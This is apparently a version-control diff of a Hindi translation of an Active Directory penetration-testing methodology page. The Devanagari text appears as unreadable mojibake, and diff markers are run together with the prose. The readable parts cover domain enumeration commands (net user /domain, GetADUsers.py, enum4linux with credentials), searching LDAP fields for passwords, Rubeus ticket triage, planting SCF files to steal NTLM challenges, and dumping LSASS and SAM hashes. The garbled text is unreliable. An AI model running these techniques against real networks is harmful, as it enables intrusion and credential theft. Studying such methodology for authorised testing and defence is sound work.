рдХрд░реЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ RDP рдХрд╣рд╛рдБ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрдиреНрдп рд╕рдореВрд╣реЛрдВ рдХреЗ рд▓рд┐рдП рдкрде рдЦреЛрдЬреЗрдВ, рдЖрджрд┐ред +- **рдЕрдиреНрдп рд╕реНрд╡рдЪрд╛рд▓рд┐рдд AD рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рдЙрдкрдХрд░рдг рд╣реИрдВ:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**ред** - [**AD рдХреЗ DNS рд░рд┐рдХреЙрд░реНрдб**](ad-dns-records.md) рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВред -- рдЖрдк рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП **AdExplorer.exe** рдирд╛рдордХ рдПрдХ **GUI рдЙрдкрдХрд░рдг** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **SysInternal** Suite рд╕реЗ рд╣реИред +- рдЖрдк рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП **AdExplorer.exe** рдирд╛рдордХ **GUI** рд╡рд╛рд▓рд╛ рдПрдХ рдЙрдкрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ **SysInternal** Suite рд╕реЗ рд╣реИред - рдЖрдк _userPassword_ рдФрд░ _unixUserPassword_ рдлрд╝реАрд▓реНрдб рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **ldapsearch** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ _Description_ рдХреЗ рд▓рд┐рдП рднреАред cf. [PayloadsAllTheThings рдкрд░ AD рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЯрд┐рдкреНрдкрдгреА рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) рдЕрдиреНрдп рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдПред -- рдпрджрд┐ рдЖрдк **Linux** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк [**pywerview**](https://github.com/the-useless-one/pywerview) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдбреЛрдореЗрди рдХреА рд╕реВрдЪреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред +- рдпрджрд┐ рдЖрдк **Linux** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдк [**pywerview**](https://github.com/the-useless-one/pywerview) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХреА рд╕реВрдЪреА рднреА рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред - рдЖрдк рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рднреА рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕реЗ: - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch) - [**61106960/adPEAS**](https://github.com/61106960/adPEAS) @@ -173,11 +176,11 @@ kerberos-double-hop-problem.md Windows рд╕реЗ рд╕рднреА рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдмрд╣реБрдд рдЖрд╕рд╛рди рд╣реИ (`net user /domain`, `Get-DomainUser` рдпрд╛ `wmic useraccount get name,sid`)ред Linux рдореЗрдВ, рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` рдпрд╛ `enum4linux -a -u "user" -p "password" ` -> рднрд▓реЗ рд╣реА рдпрд╣ рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХрд╛ рдЦрдВрдб рдЫреЛрдЯрд╛ рджрд┐рдЦрддрд╛ рд╣реИ, рдпрд╣ рд╕рднреА рдХрд╛ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднрд╛рдЧ рд╣реИред рд▓рд┐рдВрдХ рдкрд░ рдкрд╣реБрдБрдЪреЗрдВ (рдореБрдЦреНрдп рд░реВрдк рд╕реЗ cmd, powershell, powerview рдФрд░ BloodHound рд╡рд╛рд▓реЗ), рдЬрд╛рдиреЗрдВ рдХрд┐ рдбреЛрдореЗрди рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рддрдм рддрдХ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ рдЬрдм рддрдХ рдЖрдк рд╕рд╣рдЬ рдорд╣рд╕реВрд╕ рди рдХрд░реЗрдВред рдПрдХ рдореВрд▓реНрдпрд╛рдВрдХрди рдХреЗ рджреМрд░рд╛рди, рдпрд╣ DA рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдЖрдкрдХрд╛ рдорд╛рд░реНрдЧ рдЦреЛрдЬрдиреЗ рдпрд╛ рдпрд╣ рддрдп рдХрд░рдиреЗ рдХрд╛ рдХреБрдВрдЬреА рдХреНрд╖рдг рд╣реЛрдЧрд╛ рдХрд┐ рдХреБрдЫ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред +> рднрд▓реЗ рд╣реА рдпрд╣ рд╕реВрдЪреА рдмрдирд╛рдиреЗ рдХрд╛ рдЕрдиреБрднрд╛рдЧ рдЫреЛрдЯрд╛ рджрд┐рдЦрддрд╛ рд╣реИ, рдпрд╣ рд╕рднреА рдХрд╛ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рднрд╛рдЧ рд╣реИред рд▓рд┐рдВрдХ рдкрд░ рдкрд╣реБрдБрдЪреЗрдВ (рдореБрдЦреНрдп рд░реВрдк рд╕реЗ cmd, powershell, powerview рдФрд░ BloodHound рд╡рд╛рд▓реЗ), рдЬрд╛рдиреЗрдВ рдХрд┐ рдбреЛрдореЗрди рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ рддрдм рддрдХ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ рдЬрдм рддрдХ рдЖрдк рд╕рд╣рдЬ рдорд╣рд╕реВрд╕ рди рдХрд░реЗрдВред рдПрдХ рдЖрдХрд▓рди рдХреЗ рджреМрд░рд╛рди, рдпрд╣ DA рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдЖрдкрдХрд╛ рдорд╛рд░реНрдЧ рдЦреЛрдЬрдиреЗ рдпрд╛ рдпрд╣ рддрдп рдХрд░рдиреЗ рдХрд╛ рдХреБрдВрдЬреА рдХреНрд╖рдг рд╣реЛрдЧрд╛ рдХрд┐ рдХреБрдЫ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред ### Kerberoast -Kerberoasting рдореЗрдВ **TGS рдЯрд┐рдХрдЯ** рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рд╕реЗ рдЬреБрдбрд╝реЗ рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЙрдирдХреА рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рдХреНрд░реИрдХ рдХрд░рдирд╛тАФрдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИтАФ**рдСрдлрд▓рд╛рдЗрди**ред +Kerberoasting рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЛрдВ рд╕реЗ рдЬреБрдбрд╝реЗ рд╕реЗрд╡рд╛рдУрдВ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ **TGS рдЯрд┐рдХрдЯреЛрдВ** рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдФрд░ рдЙрдирдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЛ рдХреНрд░реИрдХ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИтАФрдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИтАФ**рдСрдлрд▓рд╛рдЗрди**ред рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА: @@ -187,17 +190,17 @@ kerberoast.md ### рджреВрд░рд╕реНрде рдХрдиреЗрдХреНрд╢рди (RDP, SSH, FTP, Win-RM, рдЖрджрд┐) -рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓рд┐рдП, рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА **рдорд╢реАрди** рддрдХ рдкрд╣реБрдБрдЪ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **CrackMapExec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЖрдкрдХреЗ рдкреЛрд░реНрдЯ рд╕реНрдХреИрди рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╣реИред +рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдХреБрдЫ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд▓реЗрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдкрдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА **рдорд╢реАрди** рддрдХ рдкрд╣реБрдБрдЪ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдк рд╡рд┐рднрд┐рдиреНрди рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рде рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **CrackMapExec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЖрдкрдХреЗ рдкреЛрд░реНрдЯ рд╕реНрдХреИрди рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╣реИред ### рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ -рдпрджрд┐ рдЖрдкрдиреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╕рддреНрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдореЗрдВ рдХрд┐рд╕реА рднреА рдорд╢реАрди** рддрдХ рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде **рдкрд╣реБрдБрдЪ** рд╣реИ, рддреЛ рдЖрдкрдХреЛ **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рд▓реВрдЯрдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк **рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╣реИрд╢ рдХреЛ рдореЗрдореЛрд░реА (LSASS) рдФрд░ рд╕реНрдерд╛рдиреАрдп (SAM) рдореЗрдВ рдбрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗред +рдпрджрд┐ рдЖрдкрдиреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдпрд╛ рдПрдХ рдирд┐рдпрдорд┐рдд рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╕рддреНрд░ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдбреЛрдореЗрди рдореЗрдВ рдХрд┐рд╕реА рднреА рдорд╢реАрди** рддрдХ рдЗрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде **рдкрд╣реБрдБрдЪ** рд╣реИ, рддреЛ рдЖрдкрдХреЛ **рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдиреЗ рдФрд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЗ рд▓рд┐рдП рд▓реВрдЯрдиреЗ** рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдРрд╕рд╛ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдХреЗрд╡рд▓ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдЖрдк **рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╣реИрд╢ рдХреЛ** рдореЗрдореЛрд░реА (LSASS) рдФрд░ рд╕реНрдерд╛рдиреАрдп (SAM) рдореЗрдВ **рдбрдВрдк** рдХрд░ рд╕рдХреЗрдВрдЧреЗред рдЗрд╕ рдкреБрд╕реНрддрдХ рдореЗрдВ [**Windows рдореЗрдВ рд╕реНрдерд╛рдиреАрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐**](../windows-local-privilege-escalation/index.html) рдФрд░ рдПрдХ [**рдЪреЗрдХрд▓рд┐рд╕реНрдЯ**](../checklist-windows-privilege-escalation.md) рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рдкреВрд░рд╛ рдкреГрд╖реНрда рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВред ### рд╡рд░реНрддрдорд╛рди рд╕рддреНрд░ рдЯрд┐рдХрдЯ -рдпрд╣ рдмрд╣реБрдд **рдЕрд╕рдВрднрд╡** рд╣реИ рдХрд┐ рдЖрдк рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЗрдВ **рдЯрд┐рдХрдЯ** рдкрд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк рдЬрд╛рдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрд╣ рдмрд╣реБрдд **рдЕрд╕рдВрднрд╡** рд╣реИ рдХрд┐ рдЖрдк рд╡рд░реНрддрдорд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЗрдВ **рдЯрд┐рдХрдЯ** рдкрд╛рдПрдБ рдЬреЛ рдЖрдкрдХреЛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ## List all tickets (if not admin, only current user tickets) .\Rubeus.exe triage @@ -209,15 +212,15 @@ kerberoast.md рдпрджрд┐ рдЖрдк рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдЕрдзрд┐рдХ рдИрдореЗрд▓ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреА рдмреЗрд╣рддрд░ рд╕рдордЭ** рд╣реЛрдЧреАред рдЖрдк NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)** рдХреЛ рдордЬрдмреВрд░ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред** -### **рдХрдВрдкреНрдпреВрдЯрд░ рд╢реЗрдпрд░ рдореЗрдВ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рддрд▓рд╛рд╢ рдХрд░реЗрдВ** +### Looks for Creds in Computer Shares | SMB Shares -рдЕрдм рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдмреБрдирд┐рдпрд╛рджреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк **AD рдХреЗ рдЕрдВрджрд░ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ рдХреЛрдИ **рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ** рдвреВрдВрдв рд╕рдХрддреЗ рд╣реИрдВред рдЖрдк рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рдмрд╣реБрдд рд╣реА рдЙрдмрд╛рдК рджреЛрд╣рд░рд╛рд╡ рд╡рд╛рд▓рд╛ рдХрд╛рд░реНрдп рд╣реИ (рдФрд░ рдЕрдзрд┐рдХ рдпрджрд┐ рдЖрдк рд╕реИрдХрдбрд╝реЛрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЛ рдЦреЛрдЬрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рдЬрд╛рдВрдЪрдирд╛ рд╣реИ)ред +рдЕрдм рдЬрдм рдЖрдкрдХреЗ рдкрд╛рд╕ рдХреБрдЫ рдмреБрдирд┐рдпрд╛рджреА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЖрдк **AD рдХреЗ рдЕрдВрджрд░ рд╕рд╛рдЭрд╛ рдХреА рдЧрдИ рдХреЛрдИ **рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ** **рдкрд╛рддреЗ рд╣реИрдВред** рдЖрдк рдЗрд╕реЗ рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдПрдХ рдмрд╣реБрдд рд╣реА рдЙрдмрд╛рдК рджреЛрд╣рд░рд╛рд╡ рд╡рд╛рд▓рд╛ рдХрд╛рд░реНрдп рд╣реИ (рдФрд░ рдЕрдзрд┐рдХ рдпрджрд┐ рдЖрдк рд╕реИрдХрдбрд╝реЛрдВ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдкрд╛рддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдХреЛ рдЬрд╛рдВрдЪрдирд╛ рд╣реИ)ред -[**рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВред**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) +[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search) -### NTLM рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЪреБрд░рд╛рдирд╛ +### Steal NTLM Creds -рдпрджрд┐ рдЖрдк **рдЕрдиреНрдп PCs рдпрд╛ рд╢реЗрдпрд░реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ**, рддреЛ рдЖрдк **рдлрд╛рдЗрд▓реЗрдВ** (рдЬреИрд╕реЗ SCF рдлрд╝рд╛рдЗрд▓) рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рддреЛ **рдЖрдкрдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреА** рддрд╛рдХрд┐ рдЖрдк **NTLM рдЪреБрдиреМрддреА** рдЪреБрд░рд╛ рд╕рдХреЗрдВ: +рдпрджрд┐ рдЖрдк **рдЕрдиреНрдп PCs рдпрд╛ рд╢реЗрдпрд░реЛрдВ** рддрдХ **рдкрд╣реБрдБрдЪ** рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк **рдлрд╛рдЗрд▓реЗрдВ** (рдЬреИрд╕реЗ SCF рдлрд╝рд╛рдЗрд▓) рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдпрджрд┐ рдХрд┐рд╕реА рддрд░рд╣ рд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХреА рдЬрд╛рддреА рд╣реИрдВ, рддреЛ **рдЖрдкрдХреЗ рдЦрд┐рд▓рд╛рдл NTLM рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░реЗрдВрдЧреА** рддрд╛рдХрд┐ рдЖрдк **NTLM рдЪреБрдиреМрддреА** рдХреЛ рдЪреБрд░рд╛ рд╕рдХреЗрдВ: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -231,39 +234,39 @@ kerberoast.md printnightmare.md {{#endref}} -## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕/рд╕рддреНрд░ рдХреЗ рд╕рд╛рде +## Privilege escalation on Active Directory WITH privileged credentials/session **рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрдХрдиреАрдХреЛрдВ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рдпрдорд┐рдд рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИ, рдЖрдкрдХреЛ рдЗрди рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░/рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред** -### рд╣реИрд╢ рдирд┐рд╖реНрдХрд░реНрд╖рдг +### Hash extraction -рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЖрдк [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) рд╕рд╣рд┐рдд рд░рд┐рд▓реЗ рдХрд░рддреЗ рд╣реБрдП, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛](../windows-local-privilege-escalation/index.html) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдХреБрдЫ рд╕реНрдерд╛рдиреАрдп рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ** рдЦрд╛рддреЗ рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдореЗрдВ 